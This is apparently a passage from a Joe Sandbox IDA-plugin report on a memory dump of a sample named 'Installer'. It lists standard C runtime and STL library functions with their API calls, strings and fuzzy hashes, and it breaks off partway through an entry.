Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5aba878caad82e3e92ef3dcc4e135e6b9babfc44f3b0f01c735265b554f8f78d
Instruction ID: 9ca96c35f5db8de7898aaacfd38ee1185af3acd93c890fd304eff3a5ecef789c
Opcode Fuzzy Hash: 5aba878caad82e3e92ef3dcc4e135e6b9babfc44f3b0f01c735265b554f8f78d
Instruction Fuzzy Hash: 7F01DB31600A55AFDB239F44DC15FEEB7BCFB04715F014525F815A22A0DB789944CA50

Function 0035D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0035D76F
__alloca_probe_16.LIBCMT ref: 0035D838
__freea.LIBCMT ref: 0035D89F

Part of subcall function 0035BF11: RtlAllocateHeap.NTDLL(00000000,0035DF35,?,?,0035DF35,00000220,?,00000000,?), ref: 0035BF43

__freea.LIBCMT ref: 0035D8B2
__freea.LIBCMT ref: 0035D8BF

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c19f821379daf3517cf6c642f2385e41726aacb9b62ba5db07e5569b7b6046c8
Instruction ID: 6172299867e538aa085fe899b18cad92fa6594332950ad1209703f353bdb9ac8
Opcode Fuzzy Hash: c19f821379daf3517cf6c642f2385e41726aacb9b62ba5db07e5569b7b6046c8
Instruction Fuzzy Hash: 7C519372600206AFFB335F60CC81EBB77A9EF44712B160129FD14DA261E770DC5896A0

Function 0034EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0034F005
AcquireSRWLockExclusive.KERNEL32(00348E38), ref: 0034F024
AcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F052
TryAcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F0AD
TryAcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F0C4

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 831f3a2080b2a02b1e01196c3c6c1edcd90f9abb229f025c1332274603eea853
Instruction ID: 4ccf6e84d7d5674cd549dabc7dee5913a853d86bef68e60d37643291a249fac1
Opcode Fuzzy Hash: 831f3a2080b2a02b1e01196c3c6c1edcd90f9abb229f025c1332274603eea853
Instruction Fuzzy Hash: 23416971900A0ADFCB22CF65C48196AB3F8FF88315B19493AE45ACB942D730F985CF51

Function 0034D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0034D4D3
int.LIBCPMT ref: 0034D4EA

Part of subcall function 0034C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0034C1F6
Part of subcall function 0034C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0034C210

codecvt.LIBCPMT ref: 0034D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0034D544

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 9a0af24da35fea3c6a4595b36f50a662205d8f92fd4dfb0b2c22ba3b0b3f5c3b
Instruction ID: 83c6d5f233212dcb37e81cfdeece87b04f36d935983d024123c413e184ec365f
Opcode Fuzzy Hash: 9a0af24da35fea3c6a4595b36f50a662205d8f92fd4dfb0b2c22ba3b0b3f5c3b
Instruction Fuzzy Hash: A601C0359101159FCB03EBA4C851ABEB7F5AF85324F154449F415AF382CF74AE40CB82

Function 0034ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0034ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0034AE57

Part of subcall function 0034ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0034ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0034AE04
_Yarn.LIBCPMT ref: 0034AE1A

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 517605560d83d3d98971a67c9be9f49fd70871c3ce7b8fff54db95b9c48f5c61
Instruction ID: b29d7a1bac269038ff5477155cc6e9caea13dcbfec2a1d49aa8f0a3df82f037d
Opcode Fuzzy Hash: 517605560d83d3d98971a67c9be9f49fd70871c3ce7b8fff54db95b9c48f5c61
Instruction Fuzzy Hash: E401B175A40A609FCB07EB20D89157D77A5FF84750B054009E9155F381CF347E82CF82

Function 00360976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00355BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00360A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00355BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00360A6C

Strings

utf8, xrefs: 00360B3E
,K7, xrefs: 003609E9

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K7$utf8
API String ID: 943130320-3027620799
Opcode ID: 7057f9ce4658118f53fb5e62dfe706428c62179dc66358565548e30602049a9f
Instruction ID: c0cd88bb7ff1007600d4696f1561263a77868e585bb3e41d1320a999012385cc
Opcode Fuzzy Hash: 7057f9ce4658118f53fb5e62dfe706428c62179dc66358565548e30602049a9f
Instruction Fuzzy Hash: 2651E531600705AADB2FAB71CC43FAB73A8EF05744F15C429F9499B189E6B0D9808765

Function 003473E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00347526
___std_exception_copy.LIBVCRUNTIME ref: 00347561

Part of subcall function 0034AF37: CreateThreadpoolWork.KERNEL32(0034B060,00348A2A,00000000), ref: 0034AF46
Part of subcall function 0034AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0034AF53

Strings

G.7, xrefs: 00347551
Fail to schedule the chore!, xrefs: 00347560

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.7
API String ID: 3683891980-1612208290
Opcode ID: c1e66bb9b3862f8732a94823aea22c425f4b415a6cf4230d8cf9a19f3cb18b95
Instruction ID: 056a8f148b1f63c92e0514928a930f5c99aa6edca77681cee2ed8d76ffa40bc0
Opcode Fuzzy Hash: c1e66bb9b3862f8732a94823aea22c425f4b415a6cf4230d8cf9a19f3cb18b95
Instruction Fuzzy Hash: CC519CB4D006089FCB16DF94D845BAEBBB4FF08314F144129E8196F391D779A905CF91

Function 00343E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00343EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00344002

Part of subcall function 0034ABC5: _Yarn.LIBCPMT ref: 0034ABE5
Part of subcall function 0034ABC5: _Yarn.LIBCPMT ref: 0034AC09

Strings

|=4e.7, xrefs: 00343E9B, 00343F1F
bad locale name, xrefs: 00343F46

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=4e.7
API String ID: 2070049627-3792104845
Opcode ID: 8e09588ceb900e904defb29fb5cceadcc01b98b95b6a8846ebf14835fc17076a
Instruction ID: 2ba9a789b8662a8e77c03fe82fbecd0ec8d3ba9ce8eae77c3f224b508da4fe3d
Opcode Fuzzy Hash: 8e09588ceb900e904defb29fb5cceadcc01b98b95b6a8846ebf14835fc17076a
Instruction Fuzzy Hash: CD417BF0A007459BEB21DF69C805B17BAF8BF04714F044629E8099B780E37AF518CBE2

Function 0034B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0034B809

Strings

csm, xrefs: 0034B7A1
RCC, xrefs: 0034B795
MOC, xrefs: 0034B789

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 3eb40265c8aaa33d8b3e23a23219dee5667495491bdde574b243586a1f46b578
Instruction ID: 374655116d5518c8cb36017f723b649600ff578787a6511e6eab3d70465aaae2
Opcode Fuzzy Hash: 3eb40265c8aaa33d8b3e23a23219dee5667495491bdde574b243586a1f46b578
Instruction Fuzzy Hash: A721C235900645DFCF2A9FA4C855B6AF7ECEF44720F15491EE4528FA90DB34FA40CA81

Function 0034F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0034253A,?,?,00000000), ref: 0034F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0034253A,?,?,00000000), ref: 0034F142
CloseHandle.KERNEL32(?,?,?,0034253A,?,?,00000000), ref: 0034F154

Strings

:%4, xrefs: 0034F134

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%4
API String ID: 2551024706-536517894
Opcode ID: d8fc0012224287f642e12f76df90227dd7af092b7e17a4e2324ffb6a1e26ceb9
Instruction ID: 70fb550f3eebbadec9955b57b44badbee9eb634750623cca7413cc4fc69d874e
Opcode Fuzzy Hash: d8fc0012224287f642e12f76df90227dd7af092b7e17a4e2324ffb6a1e26ceb9
Instruction Fuzzy Hash: 2DF01971654515EFEF224F74DC06A593BA8EB01774F294320F925DA1F0D731EE41D640

Function 0034ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 0034ABE5
_Yarn.LIBCPMT ref: 0034AC09

Strings

|=4e.7, xrefs: 0034ABC8
e.7, xrefs: 0034ABD9

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Yarn
String ID: e.7$|=4e.7
API String ID: 1767336200-2368979467
Opcode ID: 7b452cb5f8d520daf717b14655729da7eabdee84d1d684a734047d1303c7cc24
Instruction ID: 44f2447bf6be94e9143ad255e89d24792c4c1e7df186b6457336445f75e3abbc
Opcode Fuzzy Hash: 7b452cb5f8d520daf717b14655729da7eabdee84d1d684a734047d1303c7cc24
Instruction Fuzzy Hash: 9EE03922348600ABEB5AAA65AC92FA633D8CB04B61F10402EF95ECE5D1ED10BC044655

Function 00366940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003669DC,00000000,?,0037D2B0,?,?,?,00366913,00000004,InitializeCriticalSectionEx,00370D34,00370D3C), ref: 0036694D
GetLastError.KERNEL32(?,003669DC,00000000,?,0037D2B0,?,?,?,00366913,00000004,InitializeCriticalSectionEx,00370D34,00370D3C,00000000,?,0035BBBC), ref: 00366957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0036697F

Strings

api-ms-, xrefs: 00366964

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ab3efbee9ad8ceb15b24486c7ce8ec84107bda8e8e0899f93cdccbf66036687f
Instruction ID: 2524c733d31c54e83a808d7849c54db12ab7032f6ec446441b202b169a8b1850
Opcode Fuzzy Hash: ab3efbee9ad8ceb15b24486c7ce8ec84107bda8e8e0899f93cdccbf66036687f
Instruction Fuzzy Hash: 70E0E570394604BBEA321AA0EC07B697A99AB40B91F148824FE4DA84A5DB71A8909944

Function 00363F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C82EE5EC,00000000,00000000,?), ref: 00364001

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00364253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00364299
GetLastError.KERNEL32 ref: 0036433C

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3fa22f765355732dbc876b83f4dfb168d492ebe96ae22b6654dba01a81c8bd8a
Instruction ID: 30de5b26e917c8ba0e45ee205cf9d6c1bf888312123a05027bdebc4488c3a53b
Opcode Fuzzy Hash: 3fa22f765355732dbc876b83f4dfb168d492ebe96ae22b6654dba01a81c8bd8a
Instruction Fuzzy Hash: 95D17975D002589FCF16CFE8D8809EDBBB9FF09314F28852AE956EB355D630A941CB60

Function 0035B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0035B35C
___AdjustPointer.LIBCMT ref: 0035B37F
___AdjustPointer.LIBCMT ref: 0035B41B

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ba16c21bdecc8d077bfff9e46f7eb1f3a0dc96b9a57fca0cf7a2ce88d94dcf7c
Instruction ID: d248e9e7be1272d6a9ddbd816c5a671e496046bae4783e8e034321f0c9429c82
Opcode Fuzzy Hash: ba16c21bdecc8d077bfff9e46f7eb1f3a0dc96b9a57fca0cf7a2ce88d94dcf7c
Instruction Fuzzy Hash: 1851E3796006059FDB2B9F50C882FAAF7A4EF04712F15452DEC466A2B1D731ED88CB90

Function 00347220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003472C5
std::_Throw_Cpp_error.LIBCPMT ref: 00347395
std::_Throw_Cpp_error.LIBCPMT ref: 003473A3
std::_Throw_Cpp_error.LIBCPMT ref: 003473B1

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 0a0724cb2bcc2cb005b20a0bc0532c92612577da9d573906679323a01a4e99cf
Instruction ID: 17b88929fa81679bba1cb67cd21e432eff9166c0050404f0a018cc46265c00cf
Opcode Fuzzy Hash: 0a0724cb2bcc2cb005b20a0bc0532c92612577da9d573906679323a01a4e99cf
Instruction Fuzzy Hash: 4941D2B59047058BDB22EF64C941BAAB7E8FF44320F158639E8165F691EB34F814CBE1

Function 00344460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00344495
std::_Lockit::_Lockit.LIBCPMT ref: 003444B2
std::_Lockit::~_Lockit.LIBCPMT ref: 003444D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00344580

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
